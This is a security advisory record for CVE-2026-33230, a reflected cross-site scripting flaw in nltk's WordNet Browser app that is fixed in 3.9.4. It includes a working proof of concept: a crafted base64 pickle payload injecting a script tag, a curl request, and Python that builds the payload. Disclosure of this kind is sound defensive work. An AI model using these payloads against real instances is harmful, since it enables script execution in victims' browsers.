{"id":"CVE-2026-33230","aliases":["GHSA-gfwx-w7gr-fvh7","PYSEC-2026-2235"],"title":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') in nltk","summary":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') in nltk","severity":"medium","cvss":6.1,"cvssVector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","vendor":"nltk","product":"nltk","ecosystem":"pip","affected":["nltk < 3.9.4"],"patched":["nltk 3.9.4"],"published":"2026-03-18","updated":"2026-09-10","sourceUpdated":"2026-09-10T03:50:39.207692385Z","source":"OSV","sourceUrl":"https://osv.dev/vulnerability/GHSA-gfwx-w7gr-fvh7","references":[{"url":"https://github.com/nltk/nltk/security/advisories/GHSA-gfwx-w7gr-fvh7"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33230"},{"url":"https://github.com/nltk/nltk/commit/1c3f799607eeb088cab2491dcf806ae83c29ad8f"},{"url":"https://github.com/nltk/nltk/commit/40d0bc1d484a3458d6a63ecb5ba4957ab16ba14e"},{"url":"https://github.com/nltk/nltk"}],"tags":["osv","pip"],"epss":0.00331,"epssPercentile":0.26431,"ingestedAt":"2026-07-13T18:57:58.385Z","slug":"CVE-2026-33230","body":"## Overview\n\n### Summary\n`nltk.app.wordnet_app` contains a reflected cross-site scripting issue in the `lookup_...` route. A crafted `lookup_<payload>` URL can inject arbitrary HTML/JavaScript into the response page because attacker-controlled `word` data is reflected into HTML without escaping. This impacts users running the local WordNet Browser server and can lead to script execution in the browser origin of that application.\n\n### Details\nThe vulnerable flow is in `nltk/app/wordnet_app.py`:\n\n- [`nltk/app/wordnet_app.py:144`](/mnt/Data/my_brains/test/nltk/nltk/app/wordnet_app.py#L144)\n  - Requests starting with `lookup_` are handled as HTML responses:\n  - `page, word = page_from_href(sp)`\n\n- [`nltk/app/wordnet_app.py:755`](/mnt/Data/my_brains/test/nltk/nltk/app/wordnet_app.py#L755)\n  - `page_from_href()` calls `page_from_reference(Reference.decode(href))`\n\n- [`nltk/app/wordnet_app.py:769`](/mnt/Data/my_brains/test/nltk/nltk/app/wordnet_app.py#L769)\n  - `word = href.word`\n\n- [`nltk/app/wordnet_app.py:796`](/mnt/Data/my_brains/test/nltk/nltk/app/wordnet_app.py#L796)\n  - If no results are found, `word` is inserted directly into the HTML body:\n  - `body = \"The word or words '%s' were not found in the dictionary.\" % word`\n\nThis is inconsistent with the `search` route, which does escape user input:\n\n- [`nltk/app/wordnet_app.py:136`](/mnt/Data/my_brains/test/nltk/nltk/app/wordnet_app.py#L136)\n  - `word = html.escape(...)`\n\nAs a result, a malicious `lookup_...` payload can inject script into the response page.\n\nThe issue is exploitable because:\n\n- `Reference.decode()` accepts attacker-controlled base64-encoded pickle data for the URL state.\n- The decoded `word` is reflected into HTML without `html.escape()`.\n- The server is started with `HTTPServer((\"\", port), MyServerHandler)`, so it listens on all interfaces by default, not just `localhost`.\n\n### PoC\n1. Start the WordNet Browser in an isolated Docker environment:\n\n```bash\ndocker run -d --name nltk-wordnet-web -p 8002:8002 \\\n  nltk-sandbox \\\n  python -c \"import nltk; nltk.download('wordnet', quiet=True); from nltk.app.wordnet_app import wnb; wnb(8002, False)\"\n```\n\n2. Use the following crafted payload, which decodes to:\n\n```python\n(\"<script>alert(1)</script>\", {})\n```\n\nEncoded payload:\n\n```text\ngAWVIQAAAAAAAACMGTxzY3JpcHQ-YWxlcnQoMSk8L3NjcmlwdD6UfZSGlC4=\n```\n\n3. Request the vulnerable route:\n\n```bash\ncurl -s \"http://127.0.0.1:8002/lookup_gAWVIQAAAAAAAACMGTxzY3JpcHQ-YWxlcnQoMSk8L3NjcmlwdD6UfZSGlC4=\"\n```\n\n4. Observed result:\n\n```text\nThe word or words '<script>alert(1)</script>' were not found in the dictionary.\n```\n<img width=\"867\" height=\"208\" alt=\"127\" src=\"https://github.com/user-attachments/assets/ec09da08-09bc-4fc4-bfc1-c4489e9adaf6\" />\n\n\nI also validated the issue directly at function level in Docker:\n\n```python\nimport base64\nimport pickle\n\nfrom nltk.app.wordnet_app import page_from_href\n\npayload = base64.urlsafe_b64encode(\n    pickle.dumps((\"<script>alert(1)</script>\", {}), -1)\n).decode()\n\npage, word = page_from_href(payload)\nprint(word)\nprint(\"<script>alert(1)</script>\" in page)\n```\n\nObserved output:\n\n```text\nWORD= <script>alert(1)</script>\nHAS_SCRIPT= True\n```\n\n### Impact\nThis is a reflected XSS issue in the NLTK WordNet Browser web UI.\n\nAn attacker who can convince a user to open a crafted `lookup_...` URL can execute arbitrary JavaScript in the origin of the local WordNet Browser application. This can be used to:\n\n- run arbitrary script in the browser tab\n- manipulate the page content shown to the user\n- issue same-origin requests to other WordNet Browser routes\n- potentially trigger available UI actions in that local app context\n\nThis primarily impacts users who run `nltk.app.wordnet_app` as a local or self-hosted HTTP service and open attacker-controlled links.\n\n## Affected packages\n\n- `nltk < 3.9.4`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `nltk 3.9.4`","depth":"sunlit","depthScore":34,"depthScoreParts":{"impact":33.6,"likelihood":0.1,"exploitation":0,"ransomware":0},"changes":[]}